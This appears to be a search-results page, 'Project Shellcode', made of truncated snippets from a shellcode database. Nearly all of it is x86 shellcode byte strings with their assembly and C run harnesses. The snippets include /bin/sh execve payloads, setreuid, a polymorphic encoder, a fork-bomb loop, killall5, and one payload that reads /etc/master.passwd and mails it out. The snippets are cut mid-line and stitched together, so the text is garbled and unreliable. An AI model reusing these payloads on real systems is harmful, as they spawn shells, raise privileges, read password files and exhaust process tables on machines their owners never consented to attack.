Project Shellcode

... add $0x6,%eax int $0x80 xor %eax,%eax add $0x1,%eax int $0x80 .string "BIN/SH" */ char ... (int (*)()) code; printf("BSDi old shellcode, %d bytes\n", strlen(code)); (int)(*f) ...

char shellcode[]= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e ... "Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm. ...

s0t4ipv6@shellcode.com.ar 92 bytes. _execve(/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost" ... x80" /* int $0x80 */ "\xe8\xd6\xff\xff\xff" /* call <shellcode+2> ...

DataBase of shellcode : http://www.shell-storm.org/shellcode/ Original Informations ... cd 80 int $0x80 */ #include "stdio.h" char shellcode[] = "\xeb\x11 ...

... the stack mov dl, 5 ;length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter db 'hello' ...

... eax, eax push eax push eax mov al, 126 push eax int 0x80 ; setreuid ... ecx push ebx mov ecx, esp push eax push ecx push ebx mov al, 0x3b push eax int ...

24 bytes ; Shellcode-Id ...: 814266649011790e99a9ff58773ea15e ; Shellcode-Arch .: x86 ; Nasm-Version ... dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...

DataBase of shellcode ==> http://www.shell-storm.org/shellcode/ killall5 is the SystemV ... int $0x80 */ #include "stdio.h" int main(int argc, char *argv[]) { char shellcode ...

... push %ebx mov %esp, %ecx int $0x80 .ifdef SAFE # exit xor %eax, %eax inc %eax xor %ebx, %ebx int $0x80 .endif # SAFE 1: call 2b .ascii "/bin/sh" ...

... _start: * push byte 2 * pop eax * int 0x80 * jmp short _start */ main() { char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9"; (*(void (*)()) shellcode) ...

... 8049844: cd 80 int $0x80 8049846: 31 db xor %ebx,%ebx 8049848: 89 d8 ... cd 80 int $0x80 804984d: e8 dc ff ff ff call 804982e &lt;shellcode+0xe&gt; 8049852: ...

No real damage :) * * exit() code is the last 5 bytes (0x6a - 0x80) ... esp * int 0x80 * * ; exit() * * inc eax * int 0x80 */ main() { char shellcode[] = "\x6a ...

/* Title: Polymorphic Shellcode /bin/sh - 48 bytes Author: Jonathan Salwan Mail: ... Shellcode - length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return ...

... mov %esp,%ecx * 8048091: cd 80 int $0x80 * */ main() { char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x51\x80" "\x6c\x0e\xff\x01\x80\xe9\x01\x75" ...